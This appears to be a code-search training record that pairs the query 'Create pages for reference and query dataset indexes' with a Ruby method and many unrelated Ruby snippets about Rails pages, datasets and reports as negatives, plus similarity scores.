"def show_all_datasets(pid)\r\n GoodData.use pid\r\n puts \"Project has this datasets:\"\r\n GoodData.project.datasets.each do |dataset|\r\n puts \"Dataset name: #{dataset.title.bright} Dataset identifier: #{dataset.identifier.bright}\"\r\n end\r\n end",
"def details_page\n @details_page ||= seed_url ? Project.fetch_details(seed_url) : Project.fetch_details(url)\n end",
"def create_copy\n #add page at end of survey\n new_page_num = self.survey_version.pages.size + 1\n page_attribs = self.attributes.merge(:page_number => new_page_num)\n page_attribs.delete(\"id\")\n page_attribs.delete(\"next_page_id\")\n new_page = Page.create!(page_attribs)\n\n #Copy current page assetables\n self.survey_elements.each do |se|\n se.copy_to_page(new_page)\n end\n\n new_page\n end",
"def create\r\n @project = current_user.projects.new(project_params)\r\n new_page = @project.pages.new({ name: generate_new_page_name})\r\n @project.startpage = new_page\r\n @project.date_created = Time.now\r\n @project.last_modified = Time.now\r\n respond_to do |format|\r\n if @project.save\r\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\r\n format.json { render action: 'show', status: :created, location: @project }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @project.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def build_report\n first_page\n second_page\n third_page\n fourth_page\n fifth_page\n sixth_page\n seventh_page\n eighth_page\n ninth_page\n end",
"def generate_summary_page(path, p)\n b = File.basename(path, '.tsv')\n table = '<table class=\"table table-hover table-responsive\">'\n File.open(path, 'r') do |fh|\n fh.each do |ln|\n r = ln.chomp.split(\"\\t\")\n if $. == 1\n table += '<thead><tr>' +\n r.map { |i| \"<th scope=col>#{format_name(i)}</th>\" }.join(' ') +\n '</tr></thead><tbody>'\n else\n table += \"<tr><th scope=row>#{r.shift}</th>\" +\n r.map { |i| \"<td>#{i}</td>\" }.join(' ') + \"</tr>\"\n end\n end\n end\n table += '</tbody></table>'\n write_file(p, \"s-#{b}.html\") do\n build_from_template(\n 'summary.html', file: \"#{b}.tsv\", name: format_name(b), table: table\n )\n end\n end",
"def show\n @project = @pds_project\n end",
"def pages\n end",
"def process_pages\n bindings = {\n :name => @definition.get_name,\n :version => @definition.get_version\n }\n\n page = Calamum::DocGenerator.new(:view)\n @definition.resources.each do |methods|\n methods[1].each do |resource|\n bindings.merge!(:resource => resource)\n filename = \"#{resource.slug}.html\"\n page.save_template(filename, bindings)\n end\n end\n end",
"def new\n \t@pagenav = Page.find_all_by_published('true')\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def test_pages_list\n @project = AzProject.find(params[:id])\n project_hash = @project.to_az_hash\n pp project_hash\n AzProject.build_from_az_hash(project_hash)\n respond_to do |format|\n format.html { render :text => \"OK\"}\n end\n end",
"def new\n @dataset = Dataset.new\n 3.times do\n @dataset.dataset_variables << DatasetVariable.new\n end\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dataset }\n end\n end",
"def create_page(title, content, ancestor_id)\n url = host + '/rest/api/content?expand=version,ancestors,space'\n payload = {\n title: title,\n type: 'page',\n space: {key: space},\n ancestors: Array(ancestor_id).map { |ans_id| { id: ans_id } },\n body: {\n storage: {\n value: content,\n representation: 'storage'\n }\n }\n }\n\n req_result = send_request(:post, url, payload, default_headers)\n Model::Page.new req_result[:body] if req_result[:success]\n end",
"def create\r\n html=params[:page][:html]\r\n @page = Page.new(params[:page])\r\n respond_to do |format|\r\n if @page.save\r\n format.html { redirect_to @page, notice: 'Page was successfully created.' }\r\n format.json { render json: @page, status: :created, location: @page }\r\n target = \"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\"\r\n if !File.directory?(\"#{Rails.public_path}/#{@page.project_id}\")\r\n Dir.mkdir(\"#{Rails.public_path}/#{@page.project_id}\")\r\n Dir.mkdir(\"#{Rails.public_path}/#{@page.project_id}/images\")\r\n end\r\n File.open(target, \"w+\") do |f|\r\n f.write(html)\r\n end\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @page.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def build_page\n page_data = @repository.search.first\n\n {:page => @builders.page.call(page_data)}\n end",
"def data_results(data)\n #data search p row. Creates a tree pattern that mirrors the html.\n results = data.search('p.row')\n\n apartments = []\n results.each do |listing| #listing is a bunch of data for each p row.\n apartments.push(create_apartment(listing))\n end\n create_csv(apartments) #list of apartments here.\nend",
"def generate_content\n @pdf = Prawn::Document.new(\n info: self.metadata,\n top_margin: @format[:header_size] + @format[:top_margin],\n bottom_margin: @format[:footer_size] + @format[:bottom_margin]\n )\n add_page_body\n add_page_header\n add_page_footer\n add_page_numbering\n end",
"def pages=(_arg0); end",
"def page\n\n end",
"def create\n on PersonPage do |create|\n create.description.set random_alphanums\n create.role_id.set @id\n create.add_role\n @qualifiers.each do |unit|\n create.unit_number(@id).fit unit[:unit]\n create.descends_hierarchy(@id).fit unit[:descends_hierarchy]\n create.add_role_qualifier(@id)\n end\n end\n end",
"def set_dynamic_project_page\n @dynamic_project_page = DynamicProjectPage.find(params[:id])\n end",
"def new\n @page = Page.new\n @parent = params[:parent]\n @digitaledition = DigitalEdition.find(@parent)\n @de_title = @digitaledition.digital_edition_local_title\n @pages = Page.where(\"digital_edition_id = ?\", @parent).order(\"page_page DESC\").first\n @diged = @digitaledition.id\n\n if (@pages)\n @int_page_value = @pages.page_page + 1\n if (@int_page_value == 0)\n @int_page_value = 1\n end\n else\n @int_page_value = 1\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def index\n #@experiments = Experiment.all\n @experiments = Experiment.paginate :per_page => 5, :page => params[:page], :order => \"id DESC\", :conditions => ['status=1']\n @datasets=[]\n @experiments.each do |exp|\n @datasets << createThumbJSON(Rails.root.join(\"public\",\"SAX_DATA\", exp.data_directory, \"iofq_data_file.dat\")) \n end\n \n respond_to do |format|\n format.html { render :action => \"list\"} # index.html.erb\n format.xml { render :xml => @experiments }\n end\n end",
"def dvar_p()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::DvarP::DvarPRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def new\n page_title(\"New Experiment\")\n \n @experiment = Experiment.new\n page_group(current_user.group)\n \n @calendars = self.calendars_select_array()\n @locations = self.locations_select_array()\n self.use_markdown_editor = true\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @experiment }\n end\n end",
"def new\n @design = @project.designs.new(design_params)\n end",
"def data\n {}.merge(build_page)\n end",
"def generate\n add_intro\n add_blood_pressure_intro\n add_blood_pressure_list\n add_blood_pressure_outro\n add_medications_intro\n add_medications_list\n add_about\n\n @pdf\n end",
"def set_descriptive_page\n @descriptive_page = DescriptivePage.find(params[:id])\n end",
"def design\n begin\n user_assigned = current_user.is_assigned_to_project(params[:project_id])\n @data = QuestionBuilder.get_questions(\"design_detail\", params[:study_id], params[:extraction_form_id], {:user_assigned => user_assigned})\n @data_point = DesignDetailDataPoint.new\n\n # Now get any additional user instructions for this section\n @ef_instruction = EfInstruction.find(:first, :conditions=>[\"ef_id = ? and section = ? and data_element = ?\", params[:extraction_form_id].to_s, \"DESIGN\", \"GENERAL\"])\n @ef_instruction = @ef_instruction.nil? ? \"\" : @ef_instruction.instructions\n\n if @data[:by_arm] == true || @data[:by_outcome] == true\n render :action=>'question_based_section_by_category', :layout=>false\n else\n render :action=>'question_based_section', :layout=>false\n end\n rescue Exception => e\n puts \"ERROR: #{e.message}\\n\\n#{e.backtrace}\"\n end\n end",
"def set_page\n end",
"def page_dom_id\n dom_class(Kase, :page)\n end",
"def page_dom_id\n dom_class(Kase, :page)\n end",
"def descriptive_page_params\n params.require(:descriptive_page).permit(:Project_id, :link)\n end",
"def write_page(path, format, data, commit = {})\n write(merge_path_elements(nil, path, format), data, commit)\n end",
"def site_type(chart_pages_heading, chart_type)\n gs(Kramdown::Document.new(chart_pages_heading.gsub(/d3pie/, chart_type)).to_html)\nend",
"def decided_html(dmds)\r\n html = ''\r\n dmds.each { |om_id,list|\r\n html += \"<b>#{@omlist[om_id]}</b><br/>\\n<ul>\"\r\n list.each { |dmd|\r\n html += \"<li><span class=\\\"dmd_id\\\">#{dmd.id}</span> <span class=\\\"dmd_source\\\">#{dmd.source}</span>: <span class=\\\"dmd_title\\\">#{dmd.title}</span></li>\\n\"\r\n }\r\n html += \"<br/></ul>\\n\"\r\n }\r\n #puts html\r\n html\r\n end",
"def to_page\n \n u = User.find_by_login(authorid)\n \n UserActionObserver.current_user = u\n \n page = Page.new(\n :title => title,\n :created_at => lastmod,\n :updated_at => lastmod,\n :slug => url_title,\n :status => Status[:published],\n :breadcrumb => title,\n :published_at => posted, \n :enable_comments => annotate.to_s,\n :keywords => keywords,\n :created_by => u,\n :updated_by => u\n )\n \n page.parts << PagePart.new(:name => 'body', :filter_id => \"Textile\", :content => body )\n page.parts << PagePart.new(:name => 'intro', :filter_id => \"Textile\", :content => body.split(/\\r\\n\\s*\\r\\n/).first)\n \n page\n end",
"def createPages(interface,data)\r\n page = interface.interface_name.first\r\n \r\n headerContent = \"#{@@headerFile1}\\n<title>#{page}</title>\\n<link rel='stylesheet' type='text/css' href='/stylesheets/swui.css' />\\n#{@@javascriptsFile}\\n\"\r\n \r\n footerContent = @@footerFile\r\n \r\n # References in a hash variable\r\n @references = Hash.new\r\n buffer = interface.interface_ref.first\r\n unless buffer.nil?\r\n buffer = buffer.split(\";\")\r\n buffer.each do |value| \r\n value=value.split(\"=\") \r\n @references[value[0]] = value[1]\r\n end\r\n end\r\n \r\n @bodyContent = \"\"\r\n # ajaxcontrolIds variable holds an array with the page ajaxcontrol ids \r\n @ajaxcontrolIds = Array.new\r\n @effectIds = Array.new\r\n @concreteInterfaceIds = Array.new\r\n @eventData = \"// Retrieves the events specification embedded in the page code \\n function readEvents(interfaceName) { \\n\"\r\n @animData = \"// Retrieves the decorations specification embedded in the page code \\n function readDecorations(interfaceName) { \\n\"\r\n @transData = \"// Retrieves the transitions specification embedded in the page code \\n function readTransitions(interfaceName) { \\n\"\r\n success = printInterface(page,interface.concrete_code.first, interface.ajaxcontrols.first, interface.concrete_interfaces.first, interface.effects.first, data)\r\n @eventData << \" return '' \\n}\\n\"\r\n @animData << \" return '' \\n}\\n\"\r\n @transData << \" return '' \\n}\\n\"\r\n @bodyContent << \"\\n\"\r\n @bodyContent << \"<script type='text/javascript'> \\n\"\r\n @bodyContent << printAjaxcontrolJS\r\n @bodyContent << printEffectJS\r\n @bodyContent << \"// Call updateInterface function \\n\"\r\n @bodyContent << \"function callUpdateInterfaces() { \\n\"\r\n if (success)\r\n @bodyContent << \"updateInterfaces('#{page}');\\n\" \r\n end\r\n @bodyContent << \"}\\n\"\r\n if (success)\r\n @bodyContent << \"// Retrieves the JSON Context or Index data embedded in the page code \\n\"\r\n @bodyContent << \"function readJSONData(interfaceName) { \\n\"\r\n @bodyContent << \"if (interfaceName == '#{page}') { \\n\"\r\n @bodyContent << \"return #{data.inspect} \\n\" \r\n @bodyContent << \"} \\n\"\r\n @bodyContent << \"return '' \\n\"\r\n @bodyContent << \"}\\n\"\r\n @bodyContent << @eventData\r\n @bodyContent << @animData\r\n @bodyContent << @transData\r\n end\r\n @bodyContent << \"</script>\"\r\n headerContent << printEffectDep\r\n headerContent << printAjaxControlDep\r\n headerContent << printCSS \r\n headerContent << @@headerFile2\r\n @output = \"#{headerContent}\\n#{@bodyContent}\\n#{footerContent}\"\r\n \r\n end",
"def create\n @design = current_user.designs.where(project_id: @project.id).create(design_params)\n\n if @design.save\n @design.create_variables_from_questions!\n redirect_to edit_project_design_path(@project, @design)\n else\n render :new\n end\n end",
"def create_sub_index(data, folder_num)\n create_partials data[:sub_file], data\n data[:header] = read_file(get_header_path(data[:sub_file]))\n data[:footer] = read_file(get_footer_path(data[:sub_file]))\n data[:stylesheetloc] = sub_file_stylesheet_locs\n system \"mkdir page#{folder_num}\"\n write_data data, 'data'\n system \"erb _templates/_index.html.erb > page#{folder_num}/index.html\"\n end",
"def build_dom(entries); end",
"def show_dataset\n @dataset_miga = @project.miga.dataset(params[:dataset])\n redirect_to root_url if @dataset_miga.nil?\n end",
"def setup\n @agent = Mechanize.new\n uri = URI.join('file:///', File.absolute_path(\"test/data/view.html\"))\n @page = @agent.get uri.to_s\n @view = PortfolioView.new uri.to_s, @page, \"test mameber\", \"test portfolio\", \"View1\", \"testgroup\"\n\n @analyzer = PortfolioStatistics::DescriptiveViewAnalyzer.new\n end",
"def write_page\n contents = [people,projects,events].inject({}) { |x,y| x.merge(y) }\n File.open('index.html','w') do |f|\n f.write(@template.render(contents))\n end\n end",
"def index\n @project = find_project\n @project_demos = @project.demos\n end",
"def data_presenter_new factor\n collection = search\n default_data collection, factor\n if request.xhr?\n render partial: 'graph' and return\n end\n end",
"def createStoryPage(ein_number, org_name, story_name, story_summary, page_story, youtube_url, desig_value, goal_amount, goal_date, sug_amount, sug_desc)\n\t\n\tputs \"************** START : Create Story Page ****************\"\t\n\t#------------CREATING PROJECT PAGE-------------------------------#\n\tbegin\n\t\tassert $browser.is_element_present(\"link=My nonprofit\")\n\t\tbegin\n\t\t\tassert $browser.is_text_present(\"My nonprofit\")\n\t\t\tputs \"Pass. My nonprofit link is displayed at the header.\"\n\t\trescue Test::Unit::AssertionFailedError\n\t\t\tputs \"Fail. My nonprofit link is not displayed at the header.\"\n\t\tend\n\t\t#***************** Link position check *****************#\n\t\t@mynpolink_topposition = $browser.get_element_position_top \"link=My nonprofit\"\n\t\tputs \"MyNPO link Top position : #{@mynpolink_topposition}\"\n\t\tif @mynpolink_topposition == '258'\n\t\t\tputs \"UI Check : Pass. My nonprofit link is present at the correct position in Home screen.\"\n\t\telse\n\t\t\tputs \"UI Check : Fail. My nonprofit link is not present at the correct position in Home screen.\"\n\t\tend\n\t\t$browser.click \"link=My nonprofit\"\n\t\t$browser.wait_for_page_to_load \n\t\t#***************** Button position check *****************#\n\t\t@createfrbutton_topposition = $browser.get_element_position_top \"//div/p[2]/a[2]\"\n\t\tputs \"CreateFR button Top position : #{@createfrbutton_topposition}\"\n\t\tif @createfrbutton_topposition == '258'\n\t\t\tputs \"UI Check : Pass. CreateFR button is present at the correct position in Story screen.\"\n\t\telse\n\t\t\tputs \"UI Check : Fail. CreateFR button is not present at the correct position in Story screen.\"\n\t\tend\n\t\t$browser.click \"//div/p[2]/a[2]\"\n\t\t$browser.wait_for_page_to_load \n\t\tbegin\n\t\t\tassert $browser.is_element_present(\"link=Start a fundraiser\")\n\t\t\tputs \"Reached Razoo CMS page.:)\"\n\t\t\t $browser.click \"link=Start a fundraiser\"\n\t\t\t$browser.wait_for_page_to_load \n\t\trescue Test::Unit::AssertionFailedError\n\t\t\tbegin\n\t\t\t\tassert $browser.is_element_present(\"//a[contains(@href, '/story/new?subject=#{ein_number}')]\")\n\t\t\t\tputs \"Reached GiveMN CMS page.:)\"\n\t\t\t\t$browser.click \"//a[contains(@href, '/story/new?subject=#{ein_number}')]\"\n\t\t\t\t$browser.wait_for_page_to_load \n\t\t\trescue\n\t\t\tend\n\t\tend\n\trescue\n\t#------------CREATING FUNDRAISE PAGE-------------------------------#\n\t\tsleep 5\n\t\t$browser.click \"//div/p[2]/a[2]\"\n\t\t$browser.wait_for_page_to_load \n\t\tbegin\n\t\t\tassert $browser.is_element_present(\"link=Start a fundraiser\")\n\t\t\tputs \"Reached Razoo CMS page.:)\"\n\t\t\t$browser.click \"link=Start a fundraiser\"\n\t\t\t$browser.wait_for_page_to_load \n\t\trescue Test::Unit::AssertionFailedError\n\t\t\tbegin\n\t\t\t\tassert $browser.is_element_present(\"//a[contains(@href, '/story/new?subject=#{ein_number}')]\")\n\t\t\t\tputs \"Reached GiveMN CMS page.:)\"\n\t\t\t\t$browser.click \"//a[contains(@href, '/story/new?subject=#{ein_number}')]\"\n\t\t\t\t$browser.wait_for_page_to_load \n\t\t\trescue\n\t\t\tend\n\t\tend\n\tend\n\tsleep 25\n\tputs \"Step 1 : Entering valid details for creating Story page\"\n\t$browser.type \"story_title\", story_name\n\t$browser.click \"//button[@type='submit']\"\n\t$browser.wait_for_page_to_load \n\tbegin\n\t\tassert $browser.is_text_present(\"This title is already being used by another nonprofit, project, or fundraiser\")\n\t\tputs \"Failed. #{story_name} is already being used by another nonprofit, project, or fundraiser. Try using a different name.\"\n\trescue Test::Unit::AssertionFailedError\n\tend\n\tbegin\n\t\tassert $browser.is_text_present(\"Congratulations, your page has been created!\")\n\t\tputs \"Step 2 : Passed. #{story_name} created successfully!\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 2 : Failed. #{story_name} creation failed!\"\n\tend\n\t\n\tbegin\n\t\tassert $browser.is_element_present(\"link=Tell Your Story\")\n\t\tputs \"Step 3 : Passed. Tell Your Story link is displayed under FR/PRO Completion Steps section.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 3 : Failed. Tell Your Story link is not displayed under FR/PRO Completion Steps section.\"\n\tend\n\tbegin\n\t\tassert $browser.is_element_present(\"link=Illustrate Your Story\")\n\t\tputs \"Step 4 : Passed. Illustrate Your Story link is displayed under FR/PRO Completion Steps section.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 4 : Failed. Illustrate Your Story link is not displayed under FR/PRO Completion Steps section.\"\n\tend\n\tbegin\n\t\tassert $browser.is_element_present(\"link=Set Your Goals\")\n\t\tputs \"Step 5 : Passed. Set Your Goals link is displayed under FR/PRO Completion Steps section.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 5 : Failed. Set Your Goals link is not displayed under FR/PRO Completion Steps section.\"\n\tend\n\tbegin\n\t\tassert $browser.is_element_present(\"link=Share It With Others\")\n\t\tputs \"Step 6 : Passed. Share It With Others link is displayed under FR/PRO Completion Steps section.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 6 : Failed. Share It With Others link is not displayed under FR/PRO Completion Steps section.\"\n\tend\n\t\n\t$browser.click \"link=Edit\"\n\t$browser.wait_for_page_to_load \n\tsleep 5\n\t$browser.type \"story_short_description\", story_summary\t\n\t$browser.type \"//body[@id='tinymce']\", page_story\n\t$browser.click \"//a[@id='story_long_description_numlist']/span\"\n\t#$browser.type \"story_designation\", desig_value\n\tbegin\n\t\tassert $browser.is_text_present(\"Admin Note:\")\n\t\t$browser.type \"story[donation_suggestion_levels][0]\", sug_amount\n\t\t$browser.type \"story[donation_suggestion_descriptions][0]\", sug_desc\n\t\t$browser.click \"link=add another amount\"\n\t\t$browser.type \"story[donation_suggestion_levels][1]\", sug_amount\n\t\t$browser.type \"story[donation_suggestion_descriptions][1]\", sug_desc\n\t\t$browser.click \"link=add another amount\"\n\t\t$browser.type \"story[donation_suggestion_levels][2]\", sug_amount\n\t\t$browser.type \"story[donation_suggestion_descriptions][2]\", sug_desc\n\t\t$browser.click \"link=add another amount\"\n\t\t$browser.type \"story[donation_suggestion_levels][3]\", sug_amount\n\t\t$browser.type \"story[donation_suggestion_descriptions][3]\", sug_desc\n\t\t$browser.click \"link=add another amount\"\n\t\t$browser.type \"story[donation_suggestion_levels][4]\", sug_amount\n\t\t$browser.type \"story[donation_suggestion_descriptions][4]\", sug_desc\n\t\t$browser.click \"css=button[type=submit]\"\n\t\t$browser.wait_for_page_to_load \n\trescue\n\t\t@createstorybutton_topposition = $browser.get_element_position_top \"css=button[type=submit]\"\n\t\tputs \"CreateStory button Top position : #{@createstorybutton_topposition}\"\n\t\tif @createstorybutton_topposition == '258'\n\t\t\tputs \"UI Check : Pass. CreateStory button is present at the correct position in Createstory screen.\"\n\t\telse\n\t\t\tputs \"UI Check : Fail. CreateStory button is not present at the correct position in Createstory screen.\"\n\t\tend\n\t\t$browser.click \"css=button[type=submit]\"\n\t\t$browser.wait_for_page_to_load \n\tend\n\t\t\n\t$browser.click \"link=View\"\n\t$browser.wait_for_page_to_load\n\t\t\n\tbegin\n\t\tassert $browser.is_element_present(admin_links)\n\t\tputs \"Step 10 : Passed. Admin links are available in the Created #{story_name} page\"\n\trescue \n\tend\n\tbegin\n\t\tassert $browser.is_text_present(\"Your page is 20% complete.\")\n\t\tputs \"Step 11 : Passed. 20% complete label gets displayed in PRO completion steps progress bar.\"\n\trescue Test::Unit::AssertionFailedError\n\t\tputs \"Step 11 : Failed. Incorrect percent is displayed in PRO completion steps progress bar.\"\n\tend\n\t\n\tputs \"************** END : Create Story Page ****************\"\nend",
"def view\n \t@parent = params[:parent]\n\n @pages = Page.where(\"digital_edition_id = ?\", @parent).order(\"page_page ASC\").page( params[:page]).per(20)\n\n respond_to do |format|\n format.html # view.html.erb\n format.json { render json: @page }\n end\n end",
"def sample_page\n\n end"
] | [
"0.68037844",
"0.64201796",
"0.6405191",
"0.6208129",
"0.5913871",
"0.5708373",
"0.56997925",
"0.5664465",
"0.56394017",
"0.5603932",
"0.554942",
"0.55379516",
"0.55356014",
"0.553241",
"0.54918236",
"0.5452057",
"0.54436624",
"0.54004836",
"0.5386109",
"0.5359547",
"0.5359547",
"0.5353955",
"0.5346942",
"0.5341443",
"0.5312532",
"0.53000295",
"0.5295668",
"0.5270518",
"0.5270405",
"0.5270405",
"0.5270405",
"0.5270405",
"0.5270405",
"0.5270405",
"0.5270405",
"0.5270405",
"0.5270405",
"0.5270405",
"0.5270405",
"0.5270405",
"0.5264865",
"0.5260557",
"0.52532023",
"0.52451426",
"0.52393585",
"0.5230547",
"0.5222742",
"0.52212787",
"0.5208366",
"0.5197874",
"0.51837206",
"0.5158102",
"0.51323915",
"0.5125343",
"0.5118718",
"0.5117304",
"0.5113238",
"0.510783",
"0.5107605",
"0.50937015",
"0.5081827",
"0.5069351",
"0.5063751",
"0.50536495",
"0.5052823",
"0.50506717",
"0.50458187",
"0.5038788",
"0.5022117",
"0.5020829",
"0.5016941",
"0.50168276",
"0.50153583",
"0.50141895",
"0.50140136",
"0.50140095",
"0.50124544",
"0.501023",
"0.5001235",
"0.49675477",
"0.496478",
"0.49584734",
"0.49584734",
"0.49565554",
"0.4955357",
"0.49517372",
"0.49496076",
"0.4944931",
"0.49448487",
"0.4944274",
"0.49417862",
"0.49385405",
"0.4935594",
"0.49342403",
"0.49309883",
"0.49259347",
"0.49258685",
"0.49252245",
"0.49249718",
"0.4921394"
] | 0.86693054 | 0 |
Create pages for reference and query dataset indexes | def generate_datasets_index(p)
cli.say 'Creating index pages'
data = format_dataset_index(p)
data.each do |k, v|
write_file(p, "#{k}_datasets.html") do
v[:list] = 'None' if v[:list] == ''
build_from_template(
'datasets.html',
v.merge(:"#{k}_datasets_active" => 'active')
)
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_indexes\n @first_page = first_page\n generate_index('index')\n generate_index('indexes')\n end",
"def index_pages\n debug_msg \" generating pages search index\"\n\n pages = @files.select do |file|\n file.text?\n end\n\n pages.each do |page|\n debug_msg \" #{page.page_name}\"\n record = page.search_record\n @index[:searchIndex] << search_string(record.shift)\n @index[:longSearchIndex] << ''\n record.shift\n @index[:info] << record\n end\n end",
"def process_index\n bindings = {\n :url => @definition.get_url,\n :name => @definition.get_name,\n :resources => @definition.resources,\n :description => @definition.get_description,\n :version => @definition.get_version\n }\n\n page = Calamum::DocGenerator.new(:index)\n page.save_template('index.html', bindings)\n end",
"def generate_indexes\n @posts = DB[:posts].all\n index_layout = File.read \"#{root}/_layouts/index.html\"\n @output = Liquid::Template.parse(index_layout).render('site'=>self)\n path = \"#{root}/_site/index.html\"\n File.open(path, 'w'){ |f| f.write(@output) }\n end",
"def build_index\n\n\t\t# Names the file based on date and time for uniqueness and ability to find which one you want later\n\t\tt = Time.now\n\t\t@file_time = t.strftime(\"%Y.%b.%d_%H.%M.%S\")\n\t\t@filename = \"quilt_pages/#{@needed_rows}x#{@needed_columns}_#{@file_time}.html\"\n\n\t\t# Store the quilt page template in a variable\n\t\tquilt_template = File.read \"templates/quilt_template.erb\"\n\t\t# Start a new ERB\n\t\terb_template = ERB.new quilt_template\n\t\t# Pull it all together and put info into one variable\n\t\tquilt_page = erb_template.result(binding)\n\n\t\t# Makes the directory for the quilt pages if there isn't one\n\t\tDir.mkdir(\"quilt_pages\") unless Dir.exists? \"quilt_pages\"\n\n\t\t# Opens the file and saves (actually writes) the quilt info\n\t\tFile.open(@filename, 'w') do |file|\n\t\t\tfile.puts quilt_page\n\t\tend\n\n\t\tsystem(\"open #{@filename}\")\n\tend",
"def pages; end",
"def create_sub_index(data, folder_num)\n create_partials data[:sub_file], data\n data[:header] = read_file(get_header_path(data[:sub_file]))\n data[:footer] = read_file(get_footer_path(data[:sub_file]))\n data[:stylesheetloc] = sub_file_stylesheet_locs\n system \"mkdir page#{folder_num}\"\n write_data data, 'data'\n system \"erb _templates/_index.html.erb > page#{folder_num}/index.html\"\n end",
"def construct_index\n end",
"def pages\n end",
"def build_index\n reset @store.all_files.sort, @store.all_classes_and_modules.sort\n\n index_classes\n index_methods\n index_pages\n\n { :index => @index }\n end",
"def index\n params[:page_title] = 'Listado de datasets de Open Data - Datos Democráticos'\n params[:page_description] = 'Listado de datasets de Open Data. Datos abiertos de instituciones principalmente gubernamentales (Open Gov).'\n\n @sel_category = params[:category]\n\n @page = (params.has_key?(:page) ? params[:page].to_i : 0)\n limit = 10\n\n @data_collections = DataCollection.all\n if not @sel_category.nil?\n @data_collections = @data_collections.joins('INNER JOIN data_collection_categories ON data_collection_categories.data_collection_id = data_collections.id').where('data_collection_categories.category_id = ?', @sel_category)\n end\n count = @data_collections.count\n\n @data_collections = @data_collections.limit(limit).offset(limit * @page)\n\n @total_pages = (count / limit).ceil\n @has_next_page = (limit * (@page + 1) < count)\n\n @categories = Category.all\n end",
"def gen_main_index\n template = RDoc::TemplatePage.new @template::INDEX\n\n open 'index.html', 'w' do |f|\n classes = @classes.sort.map { |klass| klass.value_hash }\n\n values = {\n 'main_page' => @main_page,\n 'initial_page' => main_url,\n 'style_url' => style_url('', @options.css),\n 'title' => CGI.escapeHTML(@options.title),\n 'charset' => @options.charset,\n 'classes' => classes,\n }\n\n values['inline_source'] = @options.inline_source\n\n template.write_html_on f, values\n end\n end",
"def generate(site)\n puts 'Indexing pages...'\n \n # gather pages and posts\n items = site.pages.dup.concat(site.posts)\n\n # only process files that will be converted to .html and only non excluded files \n items = items.find_all {|i| i.output_ext == '.html' && ! @excludes.any? {|s| (i.absolute_url =~ Regexp.new(s)) != nil } } \n items.reject! {|i| i.data['exclude_from_search'] } \n \n # only process items that are changed since last regeneration\n items = items.find_all {|i| @last_indexed.nil? || File.mtime(i.full_path_to_source) > @last_indexed }\n\n # dont process index pages\n items.reject! {|i| i.is_a?(Jekyll::Page) && i.index? }\n\t\t\t \n while not @index.running?\n # wait for the indextank index to get ready\n sleep 0.5\n end\n \n items.each do |item| \n page_text = extract_text(site,item)\n\n @index.document(item.absolute_url).add({ \n :text => page_text,\n :title => item.data['title'] || item.name \n })\n puts 'Indexed ' << item.absolute_url\n end\n \n @last_indexed = Time.now\n write_last_indexed()\n \n puts 'Indexing done'\n end",
"def index\n if params[:visit_id]\n @visit = Visit.find(params[:visit_id])\n @search = @visit.image_datasets.search(params[:search])\n @image_datasets = @search.relation.page(params[:page]).per(50).all\n @total_count = @image_datasets.count\n @page_title = \"All Image Datasets for Visit #{@visit.rmr}\"\n else\n # @image_datasets = ImageDataset.find_all_by_visit_id(params[:visit_id])# .paginate(:page => params[:page], :per_page => PER_PAGE)\n # @visit = Visit.find(params[:visit_id])\n # @total_count = @image_datasets.count\n # @page_title = \"All Image Datasets for Visit #{@visit.rmr}\"\n # else\n @search = ImageDataset.search(params[:search])\n \n # Set pagination and reporting options depending on the requested format\n # (ie Don't paginate datasets on CSV download.)\n if params[:format]\n @image_datasets = @search.relation\n \n # Eventually, we'll be able to set exactly what we want included in the \n # report from the web interface. For now, we'll do it programatically \n # here in the controller.\n light_include_options = :image_dataset_quality_checks\n heavy_include_options = {\n :image_dataset_quality_checks => {:except => [:id]},\n :visit => {:methods => :age_at_visit, :only => [:scanner_source, :date], :include => {\n :enrollments => {:only => [:enumber], :include => { \n :participant => { :methods => :genetic_status, :only => [:gender, :wrapnum, :ed_years] }\n }}\n }}\n }\n else\n @image_datasets = @search.relation.page(params[:page])\n end\n \n # @total_count = all_images.size # I'm not sure where this method is coming from, but it's breaking in ActiveResource\n @total_count = ImageDataset.count\n @page_title = \"All Image Datasets\"\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :text => @image_datasets.to_xml(:except => [:dicom_taghash])}\n format.csv { render :csv => ImageDataset.csv_download(@image_datasets, heavy_include_options) }\n end\n end",
"def create_indexes\n indexes = %w{ Page(page_id) Trait(eol_pk) Trait(resource_pk) Term(uri) Term(name)\n Resource(resource_id) MetaData(eol_pk)}\n indexes.each do |index|\n begin\n query(\"CREATE INDEX ON :#{index};\")\n rescue Neography::NeographyError => e\n if e.to_s =~ /already created/\n puts \"Already have an index on #{index}, skipping.\"\n else\n raise e\n end\n end\n end\n end",
"def index\n get_own_documents\n if @page > @pages_amount && @pages_amount != 0\n @page = @pages_amount\n get_own_documents\n end\n render_js_or_html_index\n end",
"def process_pages\n bindings = {\n :name => @definition.get_name,\n :version => @definition.get_version\n }\n\n page = Calamum::DocGenerator.new(:view)\n @definition.resources.each do |methods|\n methods[1].each do |resource|\n bindings.merge!(:resource => resource)\n filename = \"#{resource.slug}.html\"\n page.save_template(filename, bindings)\n end\n end\n end",
